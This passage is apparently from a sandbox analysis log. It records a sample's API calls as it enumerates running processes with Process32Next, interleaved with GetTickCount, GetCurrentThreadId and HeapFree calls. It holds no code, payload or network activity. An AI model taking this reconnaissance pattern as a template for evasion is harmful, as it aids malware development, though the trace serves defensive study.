GetTickCount () returned 0x2a0ca [0081.002] GetCurrentThreadId () returned 0x9b0 [0081.002] GetCurrentThreadId () returned 0x9b0 [0081.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.003] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.004] GetTickCount () returned 0x2a0ca [0081.004] GetCurrentThreadId () returned 0x9b0 [0081.004] GetCurrentThreadId () returned 0x9b0 [0081.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.004] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.005] GetTickCount () returned 0x2a0ca [0081.005] GetCurrentThreadId () returned 0x9b0 [0081.005] GetCurrentThreadId () returned 0x9b0 [0081.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.005] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.006] GetTickCount () returned 0x2a0ca [0081.006] GetCurrentThreadId () returned 0x9b0 [0081.006] GetCurrentThreadId () returned 0x9b0 [0081.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.007] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.008] GetTickCount () returned 0x2a0ca [0081.008] GetCurrentThreadId () returned 0x9b0 [0081.008] GetCurrentThreadId () returned 0x9b0 [0081.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.008] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.009] GetTickCount () returned 0x2a0ca [0081.009] GetCurrentThreadId () returned 0x9b0 [0081.009] GetCurrentThreadId () returned 0x9b0 [0081.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.009] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.010] GetTickCount () returned 0x2a0ca [0081.011] GetCurrentThreadId () returned 0x9b0 [0081.011] GetCurrentThreadId () returned 0x9b0 [0081.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.011] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.012] GetTickCount () returned 0x2a0ca [0081.012] GetCurrentThreadId () returned 0x9b0 [0081.012] GetCurrentThreadId () returned 0x9b0 [0081.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.012] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0081.013] GetTickCount () returned 0x2a0ca [0081.013] GetCurrentThreadId () returned 0x9b0 [0081.013] GetCurrentThreadId () returned 0x9b0 [0081.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.013] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.015] GetTickCount () returned 0x2a0ca [0081.015] GetCurrentThreadId () returned 0x9b0 [0081.015] GetCurrentThreadId () returned 0x9b0 [0081.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.015] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0081.016] GetTickCount () returned 0x2a0ca [0081.016] GetCurrentThreadId () returned 0x9b0 [0081.016] GetCurrentThreadId () returned 0x9b0 [0081.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.016] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0081.017] GetTickCount () returned 0x2a0da [0081.018] GetCurrentThreadId () returned 0x9b0 [0081.018] GetCurrentThreadId () returned 0x9b0 [0081.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.018] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0081.019] GetTickCount () returned 0x2a0da [0081.019] GetCurrentThreadId () returned 0x9b0 [0081.019] GetCurrentThreadId () returned 0x9b0 [0081.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.019] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.020] GetTickCount () returned 0x2a0da [0081.020] GetCurrentThreadId () returned 0x9b0 [0081.020] GetCurrentThreadId () returned 0x9b0 [0081.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.021] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0081.022] GetTickCount () returned 0x2a0da [0081.022] GetCurrentThreadId () returned 0x9b0 [0081.022] GetCurrentThreadId () returned 0x9b0 [0081.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.022] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0081.023] GetTickCount () returned 0x2a0da [0081.023] GetCurrentThreadId () returned 0x9b0 [0081.023] GetCurrentThreadId () returned 0x9b0 [0081.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.023] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0081.024] GetTickCount () returned 0x2a0da [0081.024] GetCurrentThreadId () returned 0x9b0 [0081.024] GetCurrentThreadId () returned 0x9b0 [0081.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.025] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0081.026] GetTickCount () returned 0x2a0da [0081.026] GetCurrentThreadId () returned 0x9b0 [0081.026] GetCurrentThreadId () returned 0x9b0 [0081.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.026] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.027] GetTickCount () returned 0x2a0da [0081.027] GetCurrentThreadId () returned 0x9b0 [0081.027] GetCurrentThreadId () returned 0x9b0 [0081.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.027] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0081.029] GetTickCount () returned 0x2a0da [0081.029] GetCurrentThreadId () returned 0x9b0 [0081.029] GetCurrentThreadId () returned 0x9b0 [0081.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.029] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0081.030] GetTickCount () returned 0x2a0da [0081.030] GetCurrentThreadId () returned 0x9b0 [0081.030] GetCurrentThreadId () returned 0x9b0 [0081.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.030] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0081.031] GetTickCount () returned 0x2a0da [0081.031] GetCurrentThreadId () returned 0x9b0 [0081.031] GetCurrentThreadId () returned 0x9b0 [0081.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.032] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0081.033] GetTickCount () returned 0x2a0e9 [0081.035] GetCurrentThreadId () returned 0x9b0 [0081.035] GetCurrentThreadId () returned 0x9b0 [0081.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.036] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0081.037] GetTickCount () returned 0x2a0e9 [0081.037] GetCurrentThreadId () returned 0x9b0 [0081.037] GetCurrentThreadId () returned 0x9b0 [0081.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.037] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0081.038] GetTickCount () returned 0x2a0e9 [0081.038] GetCurrentThreadId () returned 0x9b0 [0081.038] GetCurrentThreadId () returned 0x9b0 [0081.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.038] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplace.exe")) returned 1 [0081.039] GetTickCount () returned 0x2a0e9 [0081.039] GetCurrentThreadId () returned 0x9b0 [0081.040] GetCurrentThreadId () returned 0x9b0 [0081.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.040] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="suite-xml.exe")) returned 1 [0081.041] GetTickCount () returned 0x2a0e9 [0081.041] GetCurrentThreadId () returned 0x9b0 [0081.041] GetCurrentThreadId () returned 0x9b0 [0081.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.041] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat.exe")) returned 1 [0081.042] GetTickCount () returned 0x2a0e9 [0081.042] GetCurrentThreadId () returned 0x9b0 [0081.042] GetCurrentThreadId () returned 0x9b0 [0081.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.042] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss isolated concerned.exe")) returned 1 [0081.044] GetTickCount () returned 0x2a0e9 [0081.044] GetCurrentThreadId () returned 0x9b0 [0081.044] GetCurrentThreadId () returned 0x9b0 [0081.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.044] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sample_organizing_scsi.exe")) returned 1 [0081.045] GetTickCount () returned 0x2a0e9 [0081.045] GetCurrentThreadId () returned 0x9b0 [0081.045] GetCurrentThreadId () returned 0x9b0 [0081.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.045] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chubby.exe")) returned 1 [0081.046] GetTickCount () returned 0x2a0e9 [0081.046] GetCurrentThreadId () returned 0x9b0 [0081.046] GetCurrentThreadId () returned 0x9b0 [0081.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.047] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="seeksgrabnba.exe")) returned 1 [0081.048] GetTickCount () returned 0x2a0e9 [0081.048] GetCurrentThreadId () returned 0x9b0 [0081.048] GetCurrentThreadId () returned 0x9b0 [0081.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.048] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="en regard.exe")) returned 1 [0081.050] GetTickCount () returned 0x2a0f9 [0081.050] GetCurrentThreadId () returned 0x9b0 [0081.050] GetCurrentThreadId () returned 0x9b0 [0081.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.050] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nvidia-citizenship.exe")) returned 1 [0081.051] GetTickCount () returned 0x2a0f9 [0081.051] GetCurrentThreadId () returned 0x9b0 [0081.051] GetCurrentThreadId () returned 0x9b0 [0081.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.051] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="diverse.exe")) returned 1 [0081.052] GetTickCount () returned 0x2a0f9 [0081.052] GetCurrentThreadId () returned 0x9b0 [0081.052] GetCurrentThreadId () returned 0x9b0 [0081.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.053] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enough_neo_quotations.exe")) returned 1 [0081.054] GetTickCount () returned 0x2a0f9 [0081.054] GetCurrentThreadId () returned 0x9b0 [0081.054] GetCurrentThreadId () returned 0x9b0 [0081.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.054] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuffed bachelor dome.exe")) returned 1 [0081.055] GetTickCount () returned 0x2a0f9 [0081.055] GetCurrentThreadId () returned 0x9b0 [0081.055] GetCurrentThreadId () returned 0x9b0 [0081.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.055] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="davis.exe")) returned 1 [0081.056] GetTickCount () returned 0x2a0f9 [0081.056] GetCurrentThreadId () returned 0x9b0 [0081.056] GetCurrentThreadId () returned 0x9b0 [0081.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.057] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="experiments manage.exe")) returned 1 [0081.058] GetTickCount () returned 0x2a0f9 [0081.058] GetCurrentThreadId () returned 0x9b0 [0081.058] GetCurrentThreadId () returned 0x9b0 [0081.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.058] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tvthee.exe")) returned 1 [0081.059] GetTickCount () returned 0x2a0f9 [0081.059] GetCurrentThreadId () returned 0x9b0 [0081.059] GetCurrentThreadId () returned 0x9b0 [0081.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.059] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lamps-camel-using.exe")) returned 1 [0081.060] GetTickCount () returned 0x2a0f9 [0081.060] GetCurrentThreadId () returned 0x9b0 [0081.060] GetCurrentThreadId () returned 0x9b0 [0081.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.061] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shoot_click.exe")) returned 1 [0081.062] GetTickCount () returned 0x2a0f9 [0081.062] GetCurrentThreadId () returned 0x9b0 [0081.062] GetCurrentThreadId () returned 0x9b0 [0081.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.062] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel-pmc.exe")) returned 1 [0081.063] GetTickCount () returned 0x2a0f9 [0081.063] GetCurrentThreadId () returned 0x9b0 [0081.063] GetCurrentThreadId () returned 0x9b0 [0081.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.063] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0081.131] GetTickCount () returned 0x2a147 [0081.131] GetCurrentThreadId () returned 0x9b0 [0081.131] GetCurrentThreadId () returned 0x9b0 [0081.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.131] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.132] GetTickCount () returned 0x2a147 [0081.132] GetCurrentThreadId () returned 0x9b0 [0081.132] GetCurrentThreadId () returned 0x9b0 [0081.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.132] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.133] GetTickCount () returned 0x2a147 [0081.133] GetCurrentThreadId () returned 0x9b0 [0081.134] GetCurrentThreadId () returned 0x9b0 [0081.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.134] Process32Next (in: hSnapshot=0x37c, lppe=0x9ba630 | out: lppe=0x9ba630*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsers777DownloadsNewSourceNewSource.exe")) returned 1 [0081.135] GetTickCount () returned 0x2a147 [0081.135] GetCurrentThreadId () returned 0x9b0 [0081.135] GetCurrentThreadId () 